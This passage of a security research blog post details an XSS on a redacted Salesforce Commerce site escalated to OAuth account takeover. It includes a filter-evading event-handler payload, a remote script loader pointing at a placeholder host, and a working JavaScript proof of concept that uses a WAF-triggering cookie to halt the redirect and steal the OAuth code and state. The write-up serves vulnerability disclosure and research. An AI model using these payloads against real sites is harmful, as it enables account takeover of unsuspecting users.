90<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">        var</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> components </span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="color:#005CC5;--shiki-dark:#79B8FF" class="highlighted-word">JSON</span><span style="color:#24292E;--shiki-dark:#E1E4E8" class="highlighted-word">.</span><span style="color:#6F42C1;--shiki-dark:#B392F0" class="highlighted-word">parse</span><span style="color:#24292E;--shiki-dark:#E1E4E8" class="highlighted-word">(req.querystring.components)</span><span style="color:#24292E;--shiki-dark:#E1E4E8">);</span></span>
91<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">        var</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> limit </span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#6F42C1;--shiki-dark:#B392F0"> parseInt</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(req.querystring.limit, </span><span style="color:#005CC5;--shiki-dark:#79B8FF">10</span><span style="color:#24292E;--shiki-dark:#E1E4E8">);</span></span>
92<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">        var</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> successfulrenderings </span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="color:#24292E;--shiki-dark:#E1E4E8">;</span></span>
93<span class="line"></span>
94<span class="line"><span style="color:#6A737D;--shiki-dark:#6A737D">
94// ...</span></span></code></pre>
95<br/>
96<div><p class="text-justify">With that in mind, we can send the following payload to achieve XSS:</p><br/></div>
97<pre class="shiki shiki-themes github-light github-dark" style="background-color:#fff;--shiki-dark-bg:#24292e;color:#24292e;--shiki-dark:#e1e4e8" tabindex="0"><code class="language-json"><span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">[{</span></span>
98<span class="line"><span style="color:#005CC5;--shiki-dark:#79B8FF">    &quot;template&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;product/productTileCarouselSlide&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">,</span></span>
99<span class="line"><span style="color:#005CC5;--shiki-dark:#79B8FF">    &quot;mainColor&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;#000001&#x27; oncontentvisibilityautostatechange=&#x27;confirm``&#x27; </span><span style="color:#005CC5;--shiki-dark:#79B8FF">\u0073</span><span style="color:#032F62;--shiki-dark:#9ECBFF">tyle=&#x27;display:block;content-visibility:auto&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">,</span></span>
100<span class="line"><span style="color:#005CC5;--shiki-dark:#79B8FF">    &quot;model&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:{</span></span>
101<span class="line"><span style="color:#005CC5;--shiki-dark:#79B8FF">        &quot;type&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;product&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">,</span></span>
102<span class="line"><span style="color:#005CC5;--shiki-dark:#79B8FF">        &quot;id&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;7919757&quot;</span></span>
103<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
104<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">}]    </span></span>
105<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">            </span></span></code></pre>
106<br/>
107<pre class="shiki shiki-themes github-light github-dark" style="background-color:#fff;--shiki-dark-bg:#24292e;color:#24292e;--shiki-dark:#e1e4e8" tabindex="0"><code class="language-typescript"><span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">&lt;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">button data</span><span style="color:#D73A49;--shiki-dark:#F97583">-</span><span style="color:#24292E;--shiki-dark:#E1E4E8">border</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;1px solid #000001</span><span style="color:#032F62;--shiki-dark:#9ECBFF" class="highlighted-word">&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8" class="highlighted-word"> oncontentvisibilityautostatechange</span><span style="color:#D73A49;--shiki-dark:#F97583" class="highlighted-word">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF" class="highlighted-word">&#x27;confirm``&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> style</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;display:block;content-visibility:auto&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> data</span><span style="color:#D73A49;--shiki-dark:#F97583">-</span><span style="color:#24292E;--shiki-dark:#E1E4E8">background</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;#000001</span><span style="color:#032F62;--shiki-dark:#9ECBFF" class="highlighted-word">&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8" class="highlighted-word"> oncontentvisibilityautostatechange</span><span style="color:#D73A49;--shiki-dark:#F97583" class="highlighted-word">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF" class="highlighted-word">&#x27;confirm``&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> style</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;display:block;content-visibility:auto&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> class</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;w-btn w-quantity-btn w-increase-quantity-btn&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> @click</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;updateQuantity&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> :disabled</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> aria</span><span style="color:#D73A49;--shiki-dark:#F97583">-</span><span style="color:#24292E;--shiki-dark:#E1E4E8">label</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;Increase&quot;</span><span style="color:#D73A49;--shiki-dark:#F97583">&gt;</span></span></code></pre>
108<br/>
109<div>
109<p class="text-justify"><strong>Note:</strong> <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>oncontentvisibilityautostatechange</strong></code> only fires on elements with <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>content-visibility:auto</strong></code>, so the injected CSS in <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>style</strong></code> enables the event and triggers the inline handler.</p><br/></div>
110<div><p class="text-justify">The goal now is to turn this constrained XSS into something more “flexible,” allowing us to iterate without constantly fighting filters. One basic and direct approach is to load code from an remote source, so that&#x27;s what I did by creating a <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>&amp;lt;script&amp;gt;</strong></code> tag with a <strong>source</strong>. The final payload looked like this:</p><br/></div>
111<pre class="shiki shiki-themes github-light github-dark" style="background-color:#fff;--shiki-dark-bg:#24292e;color:#24292e;--shiki-dark:#e1e4e8" tabindex="0"><code class="language-javascript"><span class="line"><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27; oncontentvisibilityautostatechange=&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">document.head.</span><span style="color:#6F42C1;--shiki-dark:#B392F0">appendChild</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(document.</span><span style="color:#6F42C1;--shiki-dark:#B392F0">createElement</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">`script`</span><span style="color:#24292E;--shiki-dark:#E1E4E8">)).src</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">`REMOTE_INSTANCE/analysis.js`&#x27; </span><span style="color:#005CC5;--shiki-dark:#79B8FF">\u0073</span><span style="color:#032F62;--shiki-dark:#9ECBFF">tyle=&#x27;</span><span style="color:#6F42C1;--shiki-dark:#B392F0">display</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:block;content</span><span style="color:#D73A49;--shiki-dark:#F97583">-</span><span style="color:#6F42C1;--shiki-dark:#B392F0">visibility</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:auto</span></span></code></pre>
112<br/>
113<h2 id="login-with-oauth" class="text-2xl font-semibold mt-6 mb-3 text-black dark:text-white"><b>Login with OAuth</b></h2>
114<div><p class="text-justify">It&#x27;s time to escalate. What are our options?<br/></p><br/></div>
115<ul class="ml-6 list-disc"><li>Stealing session cookies isn&#x27;t possible because Salesforce enforces HttpOnly cookies.</li><li>Cookie attacks like Cookie Jar Overflow, Cookie Tossing, or Cookie Sandwich were not applicable.</li><li>Changing the victim&#x27;s email and password wasn&#x27;t possible, because it requires knowing the current password.</li></ul>
116<br/>
117<div><p class="text-justify">However, one functionality caught my eye was that the application allowed SSO login via Google or Facebook.<br/>Let&#x27;s examine the flow in this Salesforce instance:</p><br/></div>
118<div style="aspect-ratio:1000 / 1000;width:100%;height:auto" aria-hidden="true"></div>
119<br/>
120<div><p class="text-justify"><strong>Note:</strong> A deep dive into the <strong>OIDC Authorization Code</strong> flow is out of scope for this post, but here&#x27;s a great <a href="https://curity.io/resources/learn/openid-code-flow/" class="border-b-2 border-red-700" target="_blank" rel="noopener noreferrer">overview</a>.</p><br/></div>
121<div><p class="text-justify">As observed, the flow used here is the <strong>Authorization Code Flow</strong> for <strong>OIDC login</strong>. Unlike “standard OAuth” use cases (authorization: granting an app permission to access your data), this is primarily used for <strong>authentication</strong> (logging you in). Google verifies your identity, and the <strong>IdP</strong> sits in the middle to handle the sign-in and pass the result back to the website.<br/><br/>High-level overview of the steps:</p><br/></div>
122<ul class="ml-6 list-decimal"><li><code><b>redacted.com</b></code> redirects to <b>identity.redacted.com</b> to initiate the login.</li><li>The IdP (<b>identity.redacted.com</b>) redirects the browser to Google for authentication.</li><li>Google authenticates the user and <b>redirects back</b> to the IdP with a <b>code</b> and <b>state</b>.</li><li>The IdP <b>validates</b> the result, links/maps the user, and redirects back to <b>redacted.com</b> via <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>Login-OAuthReentry</strong></code>.</li><li><code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>Login-OAuthReentry</strong></code> redeems the <b>code</b>, creates a session on <b>redacted.com</b>, and logs the user in.</li><li>Finally, the site redirects to the destination page, stripping the <b>code/state</b> from the URL.</li></ul>
123<br/>
124<div>
124<p class="text-justify">The objective is to intercept the <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>code</strong></code> and <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>state</strong></code> parameters when the IdP redirects back to our origin. With those values, we can redeem them for an account session and achieve account takeover. To do this, we must halt the redirect chain at <strong>step 5</strong>, because the <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>code</strong></code> is <strong>one-time use</strong>.</p><br/></div>
125<div><p class="text-justify">My first thought when analyzing the OAuth flow was to consult the amazing research by <a href="https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/" class="border-b-2 border-red-700" target="_blank" rel="noopener noreferrer"><strong>Detectify</strong></a> or <a href="https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html" class="border-b-2 border-red-700" target="_blank" rel="noopener noreferrer"><strong>Doyensec</strong></a> on OAuth abuse. Unfortunately, the presence of an <strong>IdP</strong> in the middle prevents the attacks described in those, as our XSS exists only on the origin <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>redacted.com</strong></code>, not on <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>identity.redacted.com</strong></code>.</p><br/></div>
126<h2 id="teaming-up-with-the-waf" class="text-2xl font-semibold mt-6 mb-3 text-black dark:text-white"><b>Teaming Up with the WAF</b></h2>
127<br/>
128<div class="flex justify-center w-full"><div class="w-[35%] relative"><picture><source type="image/avif" srcSet="/optimized-images/salesforce-oauth-ato/waf.4daea39639.320w.avif 320w, /optimized-images/salesforce-oauth-ato/waf.4daea39639.423w.avif 423w" sizes="100vw"/><source type="image/webp" srcSet="/optimized-images/salesforce-oauth-ato/waf.4daea39639.320w.webp 320w, /optimized-images/salesforce-oauth-ato/waf.4daea39639.423w.webp 423w" sizes="100vw"/><img src="/salesforce-oauth-ato/waf.png" alt="Web application firewall behavior during payload testing" width="1000" height="1000" loading="lazy" decoding="async" sizes="100vw" style="aspect-ratio:423 / 380;width:100%;height:auto" class="rounded-lg shadow-lg"/></picture></div></div>
129<br/>
130<br/>
131<div><p class="text-justify">The idea is to leverage the <strong>Cloudflare</strong> WAF to block the redirect from the <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>Login-OAuthReentry</strong></code> callback by planting an “malicious” cookie. This prevents the <strong>code</strong> and <strong>state</strong> parameters from being redeemed, allowing us to steal them via XSS since we are back on our origin. Here are the steps we need to perform:</p><br/></div>
132<ul class="ml-6 list-disc"><li>We force logout the victim and get the <b>idP</b> google URL from <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>/account/login</strong></code> HTML.</li><li>Add a “malicious” cookie to the victim&#x27;s cookie jar to trigger a WAF block once the request returns to our origin.</li><li>Initiate the OAuth flow by inserting an <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>iframe</strong></code> pointing to the IdP login URL.</li><li>Wait for the iframe to load the redirect back to our origin.</li><li>Steal the unused <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>code</strong></code> and <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>state</strong></code> parameters from the iframe URL.</li></ul>
133<br/>
134<div><p class="text-justify">Here is the overall view of the attack and exploit:</p><br/></div>
135<br/>
136<div style="aspect-ratio:1000 / 1000;width:100%;height:auto" aria-hidden="true"></div>
137<br/>
138<pre class="shiki shiki-themes github-light github-dark" style="background-color:#fff;--shiki-dark-bg:#24292e;color:#24292e;--shiki-dark:#e1e4e8" tabindex="0"><code class="language-javascript"><span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#D73A49;--shiki-dark:#F97583">async</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> () </span><span style="color:#D73A49;--shiki-dark:#F97583">=&gt;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
139<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    </span></span>
140<span class="line"><span style="color:#6A737D;--shiki-dark:#6A737D">    // logout victim</span></span>
141<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">    await</span><span style="color:#6F42C1;--shiki-dark:#B392F0"> fetch</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;/on/demandware.store/Sites-Redacted-Site/en_US/Login-Logout&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">);</span></span>
142<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    </span></span>
143<span class="line"><span style="color:#6A737D;--shiki-dark:#6A737D">    // get IdP login URL</span></span>
144<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">    const</span><span style="color:#005CC5;--shiki-dark:#79B8FF"> r</span><span style="color:#D73A49;--shiki-dark:#F97583"> =</span><span style="color:#D73A49;--shiki-dark:#F97583"> await</span><span style="color:#6F42C1;--shiki-dark:#B392F0"> fetch</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;/account/login&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">).</span><span style="color:#6F42C1;--shiki-dark:#B392F0">then</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#E36209;--shiki-dark:#FFAB70">r</span><span style="color:#D73A49;--shiki-dark:#F97583"> =&gt;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">
144 r.</span><span style="color:#6F42C1;--shiki-dark:#B392F0">text</span><span style="color:#24292E;--shiki-dark:#E1E4E8">());</span></span>
145<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">    const</span><span style="color:#005CC5;--shiki-dark:#79B8FF"> p</span><span style="color:#D73A49;--shiki-dark:#F97583"> =</span><span style="color:#D73A49;--shiki-dark:#F97583"> new</span><span style="color:#6F42C1;--shiki-dark:#B392F0"> DOMParser</span><span style="color:#24292E;--shiki-dark:#E1E4E8">().</span><span style="color:#6F42C1;--shiki-dark:#B392F0">parseFromString</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(r, </span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;text/html&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">);</span></span>
146<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">    const</span><span style="color:#005CC5;--shiki-dark:#79B8FF"> src</span><span style="color:#D73A49;--shiki-dark:#F97583"> =</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> p.</span><span style="color:#6F42C1;--shiki-dark:#B392F0">querySelector</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;a[data-social-provider=&#x27;google&#x27;][data-idm-redirect]&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">)</span></span>
147<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">        .</span><span style="color:#6F42C1;--shiki-dark:#B392F0">getAttribute</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;data-idm-redirect&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">);</span></span>
148<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    </span></span>
149<span class="line"><span style="color:#6A737D;--shiki-dark:#6A737D">    // &quot;malicious&quot; cookie to trigger WAF</span></span>
150<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    document.cookie</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;x=&#x27; OR 1=1 -- &quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">;</span></span>
151<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    </span></span>
152<span class="line"><span style="color:#6A737D;--shiki-dark:#6A737D">    // start OAuth flow</span></span>
153<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    document.body.innerHTML </span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF"> `&lt;iframe id=&quot;x&quot; src=&quot;${</span><span style="color:#24292E;--shiki-dark:#E1E4E8">src</span><span style="color:#032F62;--shiki-dark:#9ECBFF">}&quot;&gt;&lt;/iframe&gt;`</span><span style="color:#24292E;--shiki-dark:#E1E4E8">;</span></span>
154<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">    const</span><span style="color:#005CC5;--shiki-dark:#79B8FF"> x</span><span style="color:#D73A49;--shiki-dark:#F97583"> =</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> document.</span><span style="color:#6F42C1;--shiki-dark:#B392F0">getElementById</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;x&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">);</span></span>
155<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">    await</span><span style="color:#D73A49;--shiki-dark:#F97583"> new</span><span style="color:#005CC5;--shiki-dark:#79B8FF"> Promise</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#E36209;--shiki-dark:#FFAB70">r</span><span style="color:#D73A49;--shiki-dark:#F97583"> =&gt;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> x.onload </span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> r);</span></span>
156<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    </span></span>
157<span class="line"><span style="color:#6A737D;--shiki-dark:#6A737D">    // steal code + state</span></span>
158<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">    const</span><span style="color:#005CC5;--shiki-dark:#79B8FF"> u</span><span style="color:#D73A49;--shiki-dark:#F97583"> =</span><span style="color:#D73A49;--shiki-dark:#F97583"> new</span><span style="color:#6F42C1;--shiki-dark:#B392F0"> URL</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(x.contentWindow.location.href);</span></span>
159<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">    const</span><span style="color:#005CC5;--shiki-dark:#79B8FF"> c</span><span style="color:#D73A49;--shiki-dark:#F97583"> =</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> u.searchParams.</span><span style="color:#6F42C1;--shiki-dark:#B392F0">
159get</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;code&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">); </span></span>
160<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">    const</span><span style="color:#005CC5;--shiki-dark:#79B8FF"> s</span><span style="color:#D73A49;--shiki-dark:#F97583"> =</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> u.searchParams.</span><span style="color:#6F42C1;--shiki-dark:#B392F0">get</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;state&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">);</span></span>
161<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    </span></span>
162<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    console.</span><span style="color:#6F42C1;--shiki-dark:#B392F0">log</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;[+] Session Code = &quot;</span><span style="color:#D73A49;--shiki-dark:#F97583"> +</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> c);</span></span>
163<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    console.</span><span style="color:#6F42C1;--shiki-dark:#B392F0">log</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;[+] Session state = &quot;</span><span style="color:#D73A49;--shiki-dark:#F97583"> +</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> s);</span></span>
164<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    </span></span>
165<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">})();</span></span></code></pre>
166<br/>
167<br/>
168<div class="flex justify-center w-full"><div class="w-[85%] relative"><picture><source type="image/avif" srcSet="/optimized-images/salesforce-oauth-ato/poc.986f0070c4.320w.avif 320w, /optimized-images/salesforce-oauth-ato/poc.986f0070c4.640w.avif 640w, /optimized-images/salesforce-oauth-ato/poc.986f0070c4.960w.avif 960w, /optimized-images/salesforce-oauth-ato/poc.986f0070c4.1280w.avif 1280w, /optimized-images/salesforce-oauth-ato/poc.986f0070c4.1600w.avif 1600w, /optimized-images/salesforce-oauth-ato/poc.986f0070c4.1882w.avif 1882w" sizes="1000px"/><source type="image/webp" srcSet="/optimized-images/salesforce-oauth-ato/poc.986f0070c4.320w.webp 320w, /optimized-images/salesforce-oauth-ato/poc.986f0070c4.640w.webp 640w, /optimized-images/salesforce-oauth-ato/poc.986f0070c4.960w.webp 960w, /optimized-images/salesforce-oauth-ato/poc.986f0070c4.1280w.webp 1280w, /optimized-images/salesforce-oauth-ato/poc.986f0070c4.1600w.webp 1600w, /optimized-images/salesforce-oauth-ato/poc.986f0070c4.1882w.webp 1882w" sizes="1000px"/><img src="/salesforce-oauth-ato/poc.png" alt="Salesforce OAuth token theft proof of concept output" width="100000" height="100000" loading="lazy" decoding="async" sizes="1000px" style="aspect-ratio:1882 / 356;width:100%;height:auto" class="rounded-lg shadow-lg"/></picture></div></div>
169<br/>
170<br/>
171<h2 id="final-notes" class="text-2xl font-semibold mt-6 mb-3 text-black dark:text-white"><b>Final Notes</b></h2>
172<div><p class="text-justify">As demonstrated, WAF blocking isn&#x27;t just a security control it can also be a reliable way to interrupt an OAuth flow at a critical moment.<br/><br/>You might be wondering: “Couldn&#x27;t we stop this redirect using the <strong>431 status code gadget</strong>?” You would be correct. In fact, this is the first time I have seen such a case in the wild since releasing my mini <a href="https://castilho.sh/scream-until-escalates#431-status-code" class="border-b-2 border-red-700" target="_blank" rel="noopener noreferrer">research</a> on escalating XSS using server-side size errors. However, I wanted to showcase an alternative method that leverages WAF capabilities.</p><br/></div>
173<div><p class="text-justify">If you want to explore more ways to stop redirects, check out this excellent <a href="https://lab.ctbb.show/research/stopping-redirects" class="border-b-2 border-red-700" target="_blank" rel="noopener noreferrer"><strong>research</strong></a> by <strong>Jorian</strong>.<br/>Hope you enjoyed it and have a good rest of your day!</p><br/></div></div><div class="hidden min-[1120px]:block min-[1120px]:sticky min-[1120px]:top-20 min-[1120px]:self-start"><div class="border-l border-black/[0.2] dark:border-white/[0.2] rounded-lg border-dashed pl-3 pr-0 py-5 bg-transparent">
173<div class="flex items-center font-[family-name:var(--font-geist-mono)]"><h4 class="flex items-center gap-2 text-lg font-semibold mb-4 text-black dark:text-white"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 24 24" class="text-red-700 font-bold" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M19.1642 12L12.9571 5.79291L11.5429 7.20712L16.3358 12L11.5429 16.7929L12.9571 18.2071L19.1642 12ZM13.5143 12L7.30722 5.79291L5.89301 7.20712L10.6859 12L5.89301 16.7929L7.30722 18.2071L13.5143 12Z"></path></svg><span>Table of Contents</span></h4></div><div class="space-y-2 text-[0.875rem]"><ul class="list-inside dark:text-gray-400 pl-8 space-y-1"><li class=""><a href="#xss-and-sfra-context" class="hover:text-red-700 transition-colors duration-200 flex items-start"><b class="text-red-700 mr-2">-</b><span>XSS and SFRA Context</span></a></li><li class=""><a href="#login-with-oauth" class="hover:text-red-700 transition-colors duration-200 flex items-start"><b class="text-red-700 mr-2">-</b><span>Login with OAuth</span></a></li><li class=""><a href="#teaming-up-with-the-waf" class="hover:text-red-700 transition-colors duration-200 flex items-start"><b class="text-red-700 mr-2">-</b><span>Teaming Up with the WAF</span></a></li><li class=""><a href="#final-notes" class="hover:text-red-700 transition-colors duration-200 flex items-start"><b class="text-red-700 mr-2">-</b><span>Final Notes</span></a></li></ul></div></div></div></div></div><section class="mb-[6.25rem] mt-[1.25rem] md:pl-[3.75rem]" aria-labelledby="continue-research-title"><div class="flex items-center border-l-4 border-red-700 pl-[0.625rem]"><h2 id="continue-research-title" class="text-xl font-semibold">Continue Research</h2></div><div class="mt-[1.875rem] grid grid-cols-1 gap-5 sm:grid-cols-2"><a href="https://ethiack.com/info-hub/research/abusing-redirect-discrepancies-to-leak-secrets-in-urls" target="_blank" rel="noopener noreferrer" class="group flex h-full flex-col justify-between rounded-[0.3125rem] border border-black/[0.2] bg-card p-5 shadow-[0.1875rem_0.375rem_0.375rem_rgba(0,0,0,0.3)] transition-colors hover:border-red-700 dark:border-white/[0.2]"><div><div class="flex items-center gap-2 text-xs text-muted-foreground"><svg stroke="currentColor" fill="none" stroke-width="2" viewBox="0 0 24 24" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><line x1="19" y1="12" x2="5" y2="12"></line><polyline points="12 19 5 12 12 5"></polyline></svg><span>Newer research</span><svg stroke="currentColor" fill="none" stroke-width="2" viewBox="0 0 24 24" stroke-linecap="round" stroke-linejoin="round" aria-label="External article" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><polyline points="15 3 21 3 21 9"></polyline><line x1="10" y1="14" x2="21" y2="3"></line></svg></div><h3 class="mt-3 border-l-4 border-red-700 pl-[0.625rem] text-sm font-semibold leading-snug">Redirect Discrepancies to leak secrets in URLs</h3></div><div class="mt-5 flex flex-wrap gap-3 text-xs"><span class="border-2 border-black bg-white px-2 py-1 text-black shadow-[0.0625rem_0.0625rem_rgba(0,0,0),0.125rem_0.125rem_rgba(0,0,0),0.1875rem_0.1875rem_rgba(0,0,0)] dark:border-white">XSS</span><span class="border-2 border-black bg-white px-2 py-1 text-black shadow-[0.0625rem_0.0625rem_rgba(0,0,0),0.125rem_0.125rem_rgba(0,0,0),0.1875rem_0.1875rem_rgba(0,0,0)] dark:border-white">Ethiack</span><span class="border-2 border-black bg-white px-2 py-1 text-black shadow-[0.0625rem_0.0625rem_rgba(0,0,0),0.125rem_0.125rem_rgba(0,0,0),0.1875rem_0.1875rem_rgba(0,0,0)] dark:border-white">Browser</span></div></a><div class=""><a class="group flex h-full flex-col justify-between rounded-[0.3125rem] border 